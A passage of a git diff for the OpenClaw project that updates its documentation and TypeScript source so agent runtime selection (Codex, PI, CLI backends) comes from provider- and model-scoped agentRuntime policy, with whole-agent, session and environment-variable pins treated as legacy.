`codex/*` model refs still auto-select the harness for +compatibility, but runtime-backed legacy provider prefixes are not shown as normal model/provider choices. If any configured model route is still `openai-codex/*`, `openclaw doctor --fix` -rewrites it to `openai/*`. For matching agent routes, it sets the agent runtime -to `codex` and preserves existing `openai-codex` auth profile overrides. +rewrites it to `openai/*` and preserves existing `openai-codex` auth profile +overrides. It does not pin the whole agent to `agentRuntime.id: "codex"` because +canonical OpenAI refs already select the Codex harness automatically. ## Route map Use this table before changing config: -| Desired behavior | Model ref | Runtime config | Auth/profile route | Expected status label | -| ---------------------------------------------------- | -------------------------- | -------------------------------------- | ------------------------------ | ---------------------------- | -| ChatGPT/Codex subscription with native Codex runtime | `openai/gpt-*` | omitted or `agentRuntime.id: "codex"` | Codex OAuth or Codex account | `Runtime: OpenAI Codex` | -| OpenAI API-key auth for agent models | `openai/gpt-*` | omitted or `agentRuntime.id: "codex"` | `openai-codex` API-key profile | `Runtime: OpenAI Codex` | -| Legacy config that needs doctor repair | `openai-codex/gpt-*` | repaired to `codex` | Existing configured auth | Recheck after `doctor --fix` | -| Mixed providers with conservative auto mode | provider-specific refs | `agentRuntime.id: "auto"` | Per selected provider | Depends on selected runtime | -| Explicit Codex ACP adapter session | ACP prompt/model dependent | `sessions_spawn` with `runtime: "acp"` | ACP backend auth | ACP task/session status | +| Desired behavior | Model ref | Runtime config | Auth/profile route | Expected status label | +| ---------------------------------------------------- | -------------------------- | -------------------------------------------------------- | ------------------------------ | ---------------------------- | +| ChatGPT/Codex subscription with native Codex runtime | `openai/gpt-*` | omitted or provider/model `agentRuntime.id: "codex"` | Codex OAuth or Codex account | `Runtime: OpenAI Codex` | +| OpenAI API-key auth for agent models | `openai/gpt-*` | omitted or provider/model `agentRuntime.id: "codex"` | `openai-codex` API-key profile | `Runtime: OpenAI Codex` | +| Legacy config that needs doctor repair | `openai-codex/gpt-*` | preserved or automatic | Existing configured auth | Recheck after `doctor --fix` | +| Mixed providers with conservative auto mode | provider-specific refs | omitted unless a provider/model needs a runtime override | Per selected provider | Depends on selected runtime | +| Explicit Codex ACP adapter session | ACP prompt/model dependent | `sessions_spawn` with `runtime: "acp"` | ACP backend auth | ACP task/session status | The important split is provider versus runtime: - `openai-codex/*` is a legacy route that doctor rewrites. -- `agentRuntime.id: "codex"` requires the Codex harness and fails closed if it - is unavailable. -- `agentRuntime.id: "auto"` lets registered harnesses claim matching provider - routes; OpenAI agent refs resolve to Codex instead of PI. +- Provider/model `agentRuntime.id: "codex"` requires the Codex harness and fails + closed if it is unavailable. +- Provider/model `agentRuntime.id: "auto"` lets registered harnesses claim + matching provider routes; OpenAI agent refs resolve to Codex instead of PI. - `/codex ...` answers "which native Codex conversation should this chat bind or control?" - ACP answers "which external harness process should acpx launch?" @@ -188,13 +188,14 @@ Treat `openai-codex/*` as legacy config that doctor should rewrite: GPT-5.5 can appear on both direct OpenAI API-key and Codex subscription routes when your account exposes them. Use `openai/gpt-5.5` with the Codex app-server -harness for native Codex runtime, or `openai/gpt-5.5` without a Codex runtime -override for direct API-key traffic. +harness for native Codex runtime. For direct API-key traffic through PI, opt in +with provider/model `agentRuntime.id: "pi"` and a normal `openai` auth profile. Legacy `codex/gpt-*` refs remain accepted as compatibility aliases. Doctor compatibility migration rewrites legacy runtime refs to canonical model refs and records the runtime policy separately. New native app-server harness configs -should use `openai/gpt-*` plus `agentRuntime.id: "codex"`. +should use `openai/gpt-*`; explicit provider/model `agentRuntime.id: "codex"` +is only needed when you want the policy written down. `agents.defaults.imageModel` follows the same prefix split. Use `openai/gpt-*` for the normal OpenAI route and `codex/gpt-*` when image @@ -213,27 +214,13 @@ in `auto` mode, each plugin candidate's support result. `openclaw doctor` warns when configured model refs or persisted session route state still use `openai-codex/*`. `openclaw doctor --fix` rewrites those routes -to: +to `openai/`. Canonical OpenAI agent refs already select the native Codex +harness, so doctor does not pin the whole agent to Codex. -- `openai/` -- `agentRuntime.id: "codex"` - -The `codex` route forces the native Codex harness. PI runtime config is not -allowed for OpenAI agent model turns. -Doctor also repairs stale persisted session pins across discovered agent session -stores so old conversations do not stay wedged on the removed route. - -Harness selection is not a live session control. When an embedded turn runs, -OpenClaw records the selected harness id on that session and keeps using it for -later turns in the same session id. Change `agentRuntime` config or -`OPENCLAW_AGENT_RUNTIME` when you want future sessions to use another harness; -use `/new` or `/reset` to start a fresh session before switching an existing -conversation between PI and Codex. This avoids replaying one transcript through -two incompatible native session systems. - -Legacy sessions created before harness pins are treated as PI-pinned once they -have transcript history. Use `/new` or `/reset` to opt that conversation into -Codex after changing config. +Whole-session and whole-agent runtime pins are legacy state. Runtime selection +now comes from provider/model policy; `openclaw doctor --fix` removes stale +session pins and old whole-agent runtime config so they do not mask the selected +provider/model route. `/status` shows the effective model runtime. The default PI harness appears as `Runtime: OpenClaw Pi Default`, and the Codex app-server harness appears as @@ -274,22 +261,21 @@ Codex behavior-shaping lane without duplicating `AGENTS.md`. ## Add Codex alongside other models -Do not set `agentRuntime.id: "codex"` globally if the same agent should freely switch -between Codex and non-Codex provider models. A forced runtime applies to every -embedded turn for that agent or session. If you select an Anthropic model while -that runtime is forced, OpenClaw still tries the Codex harness and fails closed -instead of silently routing that turn through PI. +Do not set a whole-agent runtime. Whole-agent runtime pins are legacy and +ignored, and they were the source of mixed-provider traps after upgrades. Keep +runtime policy on the provider or model that needs it. Use one of these shapes instead: -- Put Codex on a dedicated agent with `agentRuntime.id: "codex"`. -- Keep the default agent on `agentRuntime.id: "auto"` and PI fallback for normal mixed - provider usage. +- Use `openai/gpt-*` for OpenAI agent turns; Codex is selected by default. +- Put runtime overrides on `models.providers..agentRuntime` or on a + model entry such as `agents.defaults.models["anthropic/claude-opus-4-7"].agentRuntime`. - Use legacy `codex/*` refs only for compatibility. New configs should prefer - `openai/*` plus an explicit Codex runtime policy. + `openai/*`; add an explicit Codex runtime policy only when you need to make + the provider/model rule strict. -For example, this keeps the default agent on normal automatic selection and -adds a separate Codex agent: +For example, this keeps mixed-provider routing ergonomic while using OpenAI +through Codex by default and Claude through PI: ```json5 { @@ -302,9 +288,7 @@ adds a separate Codex agent: }, agents: { defaults: { - agentRuntime: { - id: "auto", - }, + model: "anthropic/claude-opus-4-6", }, list: [ { @@ -316,9 +300,6 @@ adds a separate Codex agent: id: "codex", name: "Codex", model: "openai/gpt-5.5", - agentRuntime: { - id: "codex", - }, }, ], }, @@ -355,45 +336,36 @@ routing. ## Codex-only deployments -Force the Codex harness when you need to prove that every embedded agent turn -uses Codex. Explicit plugin runtimes fail closed and are never silently retried -through PI: +For OpenAI agent turns, `openai/gpt-*` already resolves to Codex. If you need a +strict written policy, put it on the OpenAI provider or model. Explicit plugin +runtimes fail closed and are never silently retried through PI: ```json5 { - agents: { - defaults: { - model: "openai/gpt-5.5", - agentRuntime: { - id: "codex", + models: { + providers: { + openai: { + agentRuntime: { + id: "codex", + }, }, }, }, + agents: { defaults: { model: "openai/gpt-5.5" } }, } ``` -Environment override: - -```bash -OPENCLAW_AGENT_RUNTIME=codex openclaw gateway run -``` - With Codex forced, OpenClaw fails early if the Codex plugin is disabled, the app-server is too old, or the app-server cannot start. ## Per-agent Codex -You can make one agent Codex-only while the default agent keeps normal -auto-selection: +You can make one agent Codex-strict while the default agent keeps normal +selection by using a per-agent model runtime override: ```json5 { agents: { - defaults: { - agentRuntime: { - id: "auto", - }, - }, list: [ { id: "main", @@ -404,8 +376,12 @@ auto-selection: id: "codex", name: "Codex", model: "openai/gpt-5.5", - agentRuntime: { - id: "codex", + models: { + "openai/gpt-5.5": { + agentRuntime: { + id: "codex", + }, + }, }, }, ], @@ -827,9 +803,6 @@ Minimal config: agents: { defaults: { model: "openai/gpt-5.5", - agentRuntime: { - id: "codex", - }, }, }, } @@ -876,12 +849,18 @@ Codex-only harness validation: ```json5 { + models: { + providers: { + openai: { + agentRuntime: { + id: "codex", + }, + }, + }, + }, agents: { defaults: { model: "openai/gpt-5.5", - agentRuntime: { - id: "codex", - }, }, }, plugins: { @@ -1185,16 +1164,16 @@ understanding continue to use the matching provider/model settings such as ## Troubleshooting **Codex does not appear as a normal `/model` provider:** that is expected for -new configs. Select an `openai/gpt-*` model with -`agentRuntime.id: "codex"` (or a legacy `codex/*` ref), enable +new configs. Select an `openai/gpt-*` model, enable `plugins.entries.codex.enabled`, and check whether `plugins.allow` excludes -`codex`. +`codex`. Legacy `codex/*` refs remain compatibility aliases, not normal model +provider choices. -**OpenClaw uses PI instead of Codex:** `agentRuntime.id: "auto"` can still use PI as the -compatibility backend when no Codex harness claims the run. Set -`agentRuntime.id: "codex"` to force Codex selection while testing. A -forced Codex runtime fails instead of falling back to PI. Once Codex app-server -is selected, its failures surface directly. +**OpenClaw uses PI instead of Codex:** make sure the model ref is `openai/gpt-*` +on the official OpenAI provider and that the Codex plugin is installed/enabled. +If you need a strict policy while testing, set provider/model +`agentRuntime.id: "codex"`. A forced Codex runtime fails instead of falling back +to PI. Once Codex app-server is selected, its failures surface directly. **The app-server is rejected:** upgrade Codex so the app-server handshake reports version `0.125.0` or newer. Same-version prereleases or build-suffixed @@ -1207,11 +1186,11 @@ or disable discovery. **WebSocket transport fails immediately:** check `appServer.url`, `authToken`, and that the remote app-server speaks the same Codex app-server protocol version. -**A non-Codex model uses PI:** that is expected unless you forced -`agentRuntime.id: "codex"` for that agent or selected a legacy -`codex/*` ref. Plain `openai/gpt-*` and other provider refs stay on their normal -provider path in `auto` mode. If you force `agentRuntime.id: "codex"`, every embedded -turn for that agent must be a Codex-supported OpenAI model. +**A non-Codex model uses PI:** that is expected unless provider/model runtime +policy routes it to another harness. Plain non-OpenAI provider refs stay on +their normal provider path in `auto` mode. If you force +`agentRuntime.id: "codex"` on a provider or model, matching embedded turns must +be Codex-supported OpenAI models. **Computer Use is installed but tools do not run:** check `/codex computer-use status` from a fresh session. If a tool reports diff --git a/docs/plugins/sdk-agent-harness.md b/docs/plugins/sdk-agent-harness.md index 6f9e802649f..615e7542a92 100644 --- a/docs/plugins/sdk-agent-harness.md +++ b/docs/plugins/sdk-agent-harness.md @@ -103,14 +103,11 @@ export default definePluginEntry({ OpenClaw chooses a harness after provider/model resolution: -1. An existing session's recorded harness id wins, so config/env changes do not - hot-switch that transcript to another runtime. -2. `OPENCLAW_AGENT_RUNTIME=` forces a registered harness with that id for - sessions that are not already pinned. -3. `OPENCLAW_AGENT_RUNTIME=pi` forces the built-in PI harness. -4. `OPENCLAW_AGENT_RUNTIME=auto` asks registered harnesses if they support the - resolved provider/model. -5. If no registered harness matches, OpenClaw uses PI unless PI fallback is +1. Model-scoped runtime policy wins. +2. Provider-scoped runtime policy comes next. +3. `auto` asks registered harnesses if they support the resolved + provider/model. +4. If no registered harness matches, OpenClaw uses PI unless PI fallback is disabled. Plugin harness failures surface as run failures. In `auto` mode, PI fallback is @@ -119,11 +116,10 @@ provider/model. Once a plugin harness has claimed a run, OpenClaw does not replay that same turn through PI because that can change auth/runtime semantics or duplicate side effects. -The selected harness id is persisted with the session id after an embedded run. -Legacy sessions created before harness pins are treated as PI-pinned once they -have transcript history. Use a new/reset session when changing between PI and a -native plugin harness. `/status` shows non-default harness ids such as `codex` -next to `Fast`; PI stays hidden because it is the default compatibility path. +Whole-session and whole-agent runtime pins are ignored by selection. That +includes stale session `agentHarnessId` values, `agents.defaults.agentRuntime`, +`agents.list[].agentRuntime`, and `OPENCLAW_AGENT_RUNTIME`. `/status` shows the +effective runtime selected from the provider/model route. If the selected harness is surprising, enable `agents/harness` debug logging and inspect the gateway's structured `agent harness selected` record. It includes the selected harness id, selection reason, runtime/fallback policy, and, in @@ -141,8 +137,7 @@ OpenClaw. The harness then claims that provider in `supports(...)`. The bundled Codex plugin follows this pattern: -- preferred user model refs: `openai/gpt-5.5` plus - `agentRuntime.id: "codex"` +- preferred user model refs: `openai/gpt-5.5` - compatibility refs: legacy `codex/gpt-*` refs remain accepted, but new configs should not use them as normal provider/model refs - harness id: `codex` @@ -151,10 +146,9 @@ The bundled Codex plugin follows this pattern: - app-server request: OpenClaw sends the bare model id to Codex and lets the harness talk to the native app-server protocol -The Codex plugin is additive. Plain `openai/gpt-*` refs continue to use the -normal OpenClaw provider path unless you force the Codex harness with -`agentRuntime.id: "codex"`. Older `codex/gpt-*` refs still select the -Codex provider and harness for compatibility. +The Codex plugin is additive. Plain `openai/gpt-*` agent refs on the official +OpenAI provider select the Codex harness by default. Older `codex/gpt-*` refs +still select the Codex provider and harness for compatibility. For operator setup, model prefix examples, and Codex-only configs, see [Codex Harness](/plugins/codex-harness). @@ -202,74 +196,94 @@ aliases for the native harness. When this mode runs, Codex owns the native thread id, resume behavior, compaction, and app-server execution. OpenClaw still owns the chat channel, visible transcript mirror, tool policy, approvals, media delivery, and session -selection. Use `agentRuntime.id: "codex"` when you need to prove that only the -Codex app-server path can claim the run. Explicit plugin runtimes fail closed; -Codex app-server selection failures and runtime failures are not retried through -PI. +selection. Use provider/model `agentRuntime.id: "codex"` when you need to prove +that only the Codex app-server path can claim the run. Explicit plugin runtimes +fail closed; Codex app-server selection failures and runtime failures are not +retried through PI. ## Runtime strictness -By default, OpenClaw runs embedded agents with OpenClaw Pi. In `auto` mode, -registered plugin harnesses can claim a provider/model pair, and PI handles the -turn when none match. Use an explicit plugin runtime such as +By default, OpenClaw uses `auto` provider/model runtime policy: registered +plugin harnesses can claim a provider/model pair, and PI handles the turn when +none match. OpenAI agent refs on the official OpenAI provider default to Codex. +Use an explicit provider/model plugin runtime such as `agentRuntime.id: "codex"` when missing harness selection should fail instead of routing through PI. Selected plugin harness failures always fail hard. This -does not block an explicit `agentRuntime.id: "pi"` or -`OPENCLAW_AGENT_RUNTIME=pi`. +does not block an explicit provider/model `agentRuntime.id: "pi"`. For Codex-only embedded runs: ```json { + "models": { + "providers": { + "openai": { + "agentRuntime": { + "id": "codex" + } + } + } + }, "agents": { "defaults": { - "model": "openai/gpt-5.5", - "agentRuntime": { - "id": "codex" + "model": "openai/gpt-5.5" + } + } +} +``` + +If you want a CLI backend for one canonical model, put the runtime on that +model entry: + +```json +{ + "agents": { + "defaults": { + "model": "anthropic/claude-opus-4-7", + "models": { + "anthropic/claude-opus-4-7": { + "agentRuntime": { + "id": "claude-cli" + } + } } } } } ``` -If you want any registered plugin harness to claim matching models and otherwise -use PI, set `id: "auto"`: +Per-agent overrides use the same model-scoped shape: ```json { "agents": { - "defaults": { - "agentRuntime": { - "id": "auto" - } - } - } -} -``` - -Per-agent overrides use the same shape: - -```json -{ - "agents": { - "defaults": { - "agentRuntime": { "id": "auto" } - }, "list": [ { "id": "codex-only", "model": "openai/gpt-5.5", - "agentRuntime": { "id": "codex" } + "models": { + "openai/gpt-5.5": { + "agentRuntime": { "id": "codex" } + } + } } ] } } ``` -`OPENCLAW_AGENT_RUNTIME` still overrides the configured runtime. +Legacy whole-agent runtime examples like this are ignored: -```bash -OPENCLAW_AGENT_RUNTIME=codex openclaw gateway run +```json +{ + "agents": { + "defaults": { + "agentRuntime": { + "id": "codex" + } + } + } +} ``` With an explicit plugin runtime, a session fails early when the requested diff --git a/docs/providers/anthropic.md b/docs/providers/anthropic.md index f253aeaeb5c..085d0bb9d3b 100644 --- a/docs/providers/anthropic.md +++ b/docs/providers/anthropic.md @@ -106,7 +106,11 @@ Anthropic's current public docs: agents: { defaults: { model: { primary: "anthropic/claude-opus-4-7" }, - agentRuntime: { id: "claude-cli" }, + models: { + "anthropic/claude-opus-4-7": { + agentRuntime: { id: "claude-cli" }, + }, + }, }, }, } @@ -114,7 +118,7 @@ Anthropic's current public docs: Legacy `claude-cli/claude-opus-4-7` model refs still work for compatibility, but new config should keep provider/model selection as - `anthropic/*` and put the execution backend in `agentRuntime.id`. + `anthropic/*` and put the execution backend in provider/model runtime policy. If you want the clearest billing path, use an Anthropic API key instead. OpenClaw also supports subscription-style options from [OpenAI Codex](/providers/openai), [Qwen Cloud](/providers/qwen), [MiniMax](/providers/minimax), and [Z.AI / GLM](/providers/glm). diff --git a/docs/providers/google.md b/docs/providers/google.md index 47ef5143023..3426ff8599c 100644 --- a/docs/providers/google.md +++ b/docs/providers/google.md @@ -13,7 +13,7 @@ Gemini Grounding. - Provider: `google` - Auth: `GEMINI_API_KEY` or `GOOGLE_API_KEY` - API: Google Gemini API -- Runtime option: `agents.defaults.agentRuntime.id: "google-gemini-cli"` +- Runtime option: provider/model `agentRuntime.id: "google-gemini-cli"` reuses Gemini CLI OAuth while keeping model refs canonical as `google/*`. ## Getting started diff --git a/docs/providers/openai.md b/docs/providers/openai.md index b0ff482c9f3..78cd7edf6ee 100644 --- a/docs/providers/openai.md +++ b/docs/providers/openai.md @@ -36,9 +36,9 @@ changing config. | ---------------------------------------------------- | ------------------------------------------------------- | --------------------------------------------------------------------- | | ChatGPT/Codex subscription with native Codex runtime | `openai/gpt-5.5` | Default OpenAI agent setup. Sign in with `openai-codex` auth. | | Direct API-key billing for agent models | `openai/gpt-5.5` plus an `openai-codex` API-key profile | Use `auth.order.openai-codex` to prefer that profile. | -| Direct API-key billing through explicit PI | `openai/gpt-5.5` plus `agentRuntime.id: "pi"` | Select a normal `openai` API-key profile. | +| Direct API-key billing through explicit PI | `openai/gpt-5.5` plus provider/model runtime `pi` | Select a normal `openai` API-key profile. | | Latest ChatGPT Instant API alias | `openai/chat-latest` | Direct API-key only. Moving alias for experiments, not the default. | -| ChatGPT/Codex subscription auth through explicit PI | `openai/gpt-5.5` plus `agentRuntime.id: "pi"` | Select an `openai-codex` auth profile for the compatibility route. | +| ChatGPT/Codex subscription auth through explicit PI | `openai/gpt-5.5` plus provider/model runtime `pi` | Select an `openai-codex` auth profile for the compatibility route. | | Image generation or editing | `openai/gpt-image-2` | Works with either `OPENAI_API_KEY` or OpenAI Codex OAuth. | | Transparent-background images | `openai/gpt-image-1.5` | Use `outputFormat=png` or `webp` and `openai.background=transparent`. | @@ -46,14 +46,14 @@ changing config. The names are similar but not interchangeable: -| Name you see | Layer | Meaning | -| ---------------------------------- | ------------------- | ------------------------------------------------------------------------------------------------- | -| `openai` | Provider prefix | Canonical OpenAI model route; agent turns use the Codex runtime. | -| `openai-codex` | Auth/profile prefix | OpenAI Codex OAuth/subscription auth profile provider. | -| `codex` plugin | Plugin | Bundled OpenClaw plugin that provides native Codex app-server runtime and `/codex` chat controls. | -| `agentRuntime.id: codex` | Agent runtime | Force the native Codex app-server harness for embedded turns. | -| `/codex ...` | Chat command set | Bind/control Codex app-server threads from a conversation. | -| `runtime: "acp", agentId: "codex"` | ACP session route | Explicit fallback path that runs Codex through ACP/acpx. | +| Name you see | Layer | Meaning | +| --------------------------------------- | ------------------- | ------------------------------------------------------------------------------------------------- | +| `openai` | Provider prefix | Canonical OpenAI model route; agent turns use the Codex runtime. | +| `openai-codex` | Auth/profile prefix | OpenAI Codex OAuth/subscription auth profile provider. | +| `codex` plugin | Plugin | Bundled OpenClaw plugin that provides native Codex app-server runtime and `/codex` chat controls. | +| provider/model `agentRuntime.id: codex` | Agent runtime | Force the native Codex app-server harness for matching embedded turns. | +| `/codex ...` | Chat command set | Bind/control Codex app-server threads from a conversation. | +| `runtime: "acp", agentId: "codex"` | ACP session route | Explicit fallback path that runs Codex through ACP/acpx. | This means a config can intentionally contain both `openai/*` model refs and `openai-codex` auth profiles. `openclaw doctor --fix` rewrites legacy @@ -79,20 +79,20 @@ explicit runtime config. ## OpenClaw feature coverage -| OpenAI capability | OpenClaw surface | Status | -| ------------------------- | ----------------------------------------------------------------- | ------------------------------------------------------ | -| Chat / Responses | `openai/` model provider | Yes | -| Codex subscription models | `openai/` with `openai-codex` OAuth | Yes | -| Legacy Codex model refs | `openai-codex/` | Repaired by doctor to `openai/` | -| Codex app-server harness | `openai/` with omitted runtime or `agentRuntime.id: codex` | Yes | -| Server-side web search | Native OpenAI Responses tool | Yes, when web search is enabled and no provider pinned | -| Images | `image_generate` | Yes | -| Videos | `video_generate` | Yes | -| Text-to-speech | `messages.tts.provider: "openai"` / `tts` | Yes | -| Batch speech-to-text | `tools.media.audio` / media understanding | Yes | -| Streaming speech-to-text | Voice Call `streaming.provider: "openai"` | Yes | -| Realtime voice | Voice Call `realtime.provider: "openai"` / Control UI Talk | Yes | -| Embeddings | memory embedding provider | Yes | +| OpenAI capability | OpenClaw surface | Status | +| ------------------------- | -------------------------------------------------------------------------------- | ------------------------------------------------------ | +| Chat / Responses | `openai/` model provider | Yes | +| Codex subscription models | `openai/` with `openai-codex` OAuth | Yes | +| Legacy Codex model refs | `openai-codex/` | Repaired by doctor to `openai/` | +| Codex app-server harness | `openai/` with omitted runtime or provider/model `agentRuntime.id: codex` | Yes | +| Server-side web search | Native OpenAI Responses tool | Yes, when web search is enabled and no provider pinned | +| Images | `image_generate` | Yes | +| Videos | `video_generate` | Yes | +| Text-to-speech | `messages.tts.provider: "openai"` / `tts` | Yes | +| Batch speech-to-text | `tools.media.audio` / media understanding | Yes | +| Streaming speech-to-text | Voice Call `streaming.provider: "openai"` | Yes | +| Realtime voice | Voice Call `realtime.provider: "openai"` / Control UI Talk | Yes | +| Embeddings | memory embedding provider | Yes | ## Memory embeddings @@ -152,9 +152,9 @@ Choose your preferred auth method and follow the setup steps. | Model ref | Runtime config | Route | Auth | | ---------------------- | -------------------------- | --------------------------- | ---------------- | - | `openai/gpt-5.5` | omitted / `agentRuntime.id: "codex"` | Codex app-server harness | `openai-codex` profile | - | `openai/gpt-5.4-mini` | omitted / `agentRuntime.id: "codex"` | Codex app-server harness | `openai-codex` profile | - | `openai/gpt-5.5` | `agentRuntime.id: "pi"` | PI embedded runtime | `openai` profile or selected `openai-codex` profile | + | `openai/gpt-5.5` | omitted / provider/model `agentRuntime.id: "codex"` | Codex app-server harness | `openai-codex` profile | + | `openai/gpt-5.4-mini` | omitted / provider/model `agentRuntime.id: "codex"` | Codex app-server harness | `openai-codex` profile | + | `openai/gpt-5.5` | provider/model `agentRuntime.id: "pi"` | PI embedded runtime | `openai` profile or selected `openai-codex` profile | `openai/*` agent models use the Codex app-server harness. To use API-key @@ -239,8 +239,8 @@ Choose your preferred auth method and follow the setup steps. | Model ref | Runtime config | Route | Auth | |-----------|----------------|-------|------| - | `openai/gpt-5.5` | omitted / `agentRuntime.id: "codex"` | Native Codex app-server harness | Codex sign-in or selected `openai-codex` profile | - | `openai/gpt-5.5` | `agentRuntime.id: "pi"` | PI embedded runtime with internal Codex-auth transport | Selected `openai-codex` profile | + | `openai/gpt-5.5` | omitted / provider/model `agentRuntime.id: "codex"` | Native Codex app-server harness | Codex sign-in or selected `openai-codex` profile | + | `openai/gpt-5.5` | provider/model `agentRuntime.id: "pi"` | PI embedded runtime with internal Codex-auth transport | Selected `openai-codex` profile | | `openai-codex/gpt-5.5` | repaired by doctor | Legacy route rewritten to `openai/gpt-5.5` | Existing `openai-codex` profile | @@ -265,7 +265,6 @@ Choose your preferred auth method and follow the setup steps. agents: { defaults: { model: { primary: "openai/gpt-5.5" }, - agentRuntime: { id: "codex" }, }, }, } @@ -284,7 +283,7 @@ Choose your preferred auth method and follow the setup steps. openclaw models status openclaw models auth list --provider openai-codex openclaw config get agents.defaults.model --json - openclaw config get agents.defaults.agentRuntime --json + openclaw config get models.providers.openai.agentRuntime --json ``` For a specific agent, add `--agent `: @@ -367,7 +366,7 @@ Choose your preferred auth method and follow the setup steps. ## Native Codex app-server auth The native Codex app-server harness uses `openai/*` model refs plus omitted -runtime config or `agentRuntime.id: "codex"`, but its auth is still +runtime config or provider/model `agentRuntime.id: "codex"`, but its auth is still account-based. OpenClaw selects auth in this order: @@ -504,7 +503,7 @@ See [Video Generation](/tools/video-generation) for shared tool parameters, prov OpenClaw adds a shared GPT-5 prompt contribution for GPT-5-family runs across providers. It applies by model id, so `openai/gpt-5.5`, legacy pre-repair refs such as `openai-codex/gpt-5.5`, `openrouter/openai/gpt-5.5`, `opencode/gpt-5.5`, and other compatible GPT-5 refs receive the same overlay. Older GPT-4.x models do not. -The bundled native Codex harness uses the same GPT-5 behavior and heartbeat overlay through Codex app-server developer instructions, so `openai/gpt-5.x` sessions forced through `agentRuntime.id: "codex"` keep the same follow-through and proactive heartbeat guidance even though Codex owns the rest of the harness prompt. +The bundled native Codex harness uses the same GPT-5 behavior and heartbeat overlay through Codex app-server developer instructions, so `openai/gpt-5.x` sessions routed through Codex keep the same follow-through and proactive heartbeat guidance even though Codex owns the rest of the harness prompt. The GPT-5 contribution adds a tagged behavior contract for persona persistence, execution safety, tool discipline, output shape, completion checks, and verification. Channel-specific reply and silent-message behavior stays in the shared OpenClaw system prompt and outbound delivery policy. The GPT-5 guidance is always enabled for matching models. The friendly interaction-style layer is separate and configurable. @@ -912,7 +911,7 @@ the Server-side compaction accordion below. - Injects `context_management: [{ type: "compaction", compact_threshold: ... }]` - Default `compact_threshold`: 70% of `contextWindow` (or `80000` when unavailable) - This applies to the built-in Pi harness path and to OpenAI provider hooks used by embedded runs. The native Codex app-server harness manages its own context through Codex and is configured separately with `agents.defaults.agentRuntime.id`. + This applies to the built-in Pi harness path and to OpenAI provider hooks used by embedded runs. The native Codex app-server harness manages its own context through Codex and is configured by OpenAI's default agent route or provider/model runtime policy. diff --git a/docs/tools/acp-agents-setup.md b/docs/tools/acp-agents-setup.md index eeef8e73d12..8a96d89d074 100644 --- a/docs/tools/acp-agents-setup.md +++ b/docs/tools/acp-agents-setup.md @@ -20,7 +20,7 @@ Codex has two OpenClaw routes: | Route | Config/command | Setup page | | -------------------------- | ------------------------------------------------------ | --------------------------------------- | -| Native Codex app-server | `/codex ...`, `agentRuntime.id: "codex"` | [Codex harness](/plugins/codex-harness) | +| Native Codex app-server | `/codex ...`, `openai/gpt-*` agent refs | [Codex harness](/plugins/codex-harness) | | Explicit Codex ACP adapter | `/acp spawn codex`, `runtime: "acp", agentId: "codex"` | This page | Prefer the native route unless you explicitly need ACP/acpx behavior. diff --git a/docs/tools/acp-agents.md b/docs/tools/acp-agents.md index d4da2acd0fb..e06cb9e72b1 100644 --- a/docs/tools/acp-agents.md +++ b/docs/tools/acp-agents.md @@ -19,8 +19,8 @@ Each ACP session spawn is tracked as a [background task](/automation/tasks). **ACP is the external-harness path, not the default Codex path.** The -native Codex app-server plugin owns `/codex ...` controls and the -`agentRuntime.id: "codex"` embedded runtime; ACP owns +native Codex app-server plugin owns `/codex ...` controls and the default +`openai/gpt-*` embedded runtime for agent turns; ACP owns `/acp ...` controls and `sessions_spawn({ runtime: "acp" })` sessions. If you want Codex or Claude Code to connect as an external MCP client diff --git a/docs/tools/plugin.md b/docs/tools/plugin.md index 2dfe5f3d116..776839a88d6 100644 --- a/docs/tools/plugin.md +++ b/docs/tools/plugin.md @@ -391,8 +391,8 @@ even when source overlay mounts are present. re-enable plugins before running doctor cleanup if you want stale ids removed - OpenAI-family Codex routes keep separate plugin boundaries: `openai-codex/*` belongs to the OpenAI plugin, while the bundled Codex - app-server plugin is selected by `agentRuntime.id: "codex"` or legacy - `codex/*` model refs + app-server plugin is selected by canonical `openai/*` agent refs, explicit + provider/model `agentRuntime.id: "codex"`, or legacy `codex/*` model refs ## Troubleshooting runtime hooks diff --git a/src/agents/agent-command.ts b/src/agents/agent-command.ts index f9f08b1052c..62b4a5d45b7 100644 --- a/src/agents/agent-command.ts +++ b/src/agents/agent-command.ts @@ -845,8 +845,6 @@ async function agentCommandInternal( const acceptedAuthProviders = listOpenAIAuthProfileProvidersForAgentRuntime({ provider: providerForAuthProfileValidation, harnessRuntime: validationHarnessPolicy.runtime, - sessionAgentHarnessId: sessionEntry.agentHarnessId, - sessionAgentRuntimeOverride: sessionEntry.agentRuntimeOverride, }).map((candidateProvider) => resolveProviderIdForAuth(candidateProvider, { config: cfg, workspaceDir }), ); diff --git a/src/agents/agent-runtime-metadata.ts b/src/agents/agent-runtime-metadata.ts index f3f1e6ff8c2..68b0d328add 100644 --- a/src/agents/agent-runtime-metadata.ts +++ b/src/agents/agent-runtime-metadata.ts @@ -1,61 +1,43 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { normalizeAgentId } from "../routing/session-key.js"; -import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; -import { resolveAgentRuntimePolicy } from "./agent-runtime-policy.js"; -import { listAgentEntries } from "./agent-scope.js"; -import { - normalizeEmbeddedAgentRuntime, - type EmbeddedAgentRuntime, -} from "./pi-embedded-runner/runtime.js"; +import { resolveAgentHarnessPolicy } from "./harness/policy.js"; +import { resolveDefaultModelForAgent } from "./model-selection.js"; type AgentRuntimeMetadata = { id: string; - source: "env" | "agent" | "defaults" | "implicit"; + source: "implicit" | "model" | "provider"; }; -function normalizeRuntimeValue(value: unknown): EmbeddedAgentRuntime | undefined { - const normalized = typeof value === "string" ? normalizeLowercaseStringOrEmpty(value) : ""; - return normalized ? normalizeEmbeddedAgentRuntime(normalized) : undefined; -} - export function resolveAgentRuntimeMetadata( - cfg: OpenClawConfig, - agentId: string, - env: NodeJS.ProcessEnv = process.env, + _cfg: OpenClawConfig, + _agentId: string, + _env: NodeJS.ProcessEnv = process.env, ): AgentRuntimeMetadata { - const envRuntime = normalizeRuntimeValue(env.OPENCLAW_AGENT_RUNTIME); - const normalizedAgentId = normalizeAgentId(agentId); - const agentEntry = listAgentEntries(cfg).find( - (entry) => normalizeAgentId(entry.id) === normalizedAgentId, - ); - const agentPolicy = resolveAgentRuntimePolicy(agentEntry); - const defaultsPolicy = resolveAgentRuntimePolicy(cfg.agents?.defaults); - - if (envRuntime) { - return { - id: envRuntime, - source: "env", - }; - } - - const agentRuntime = normalizeRuntimeValue(agentPolicy?.id); - if (agentRuntime) { - return { - id: agentRuntime, - source: "agent", - }; - } - - const defaultsRuntime = normalizeRuntimeValue(defaultsPolicy?.id); - if (defaultsRuntime) 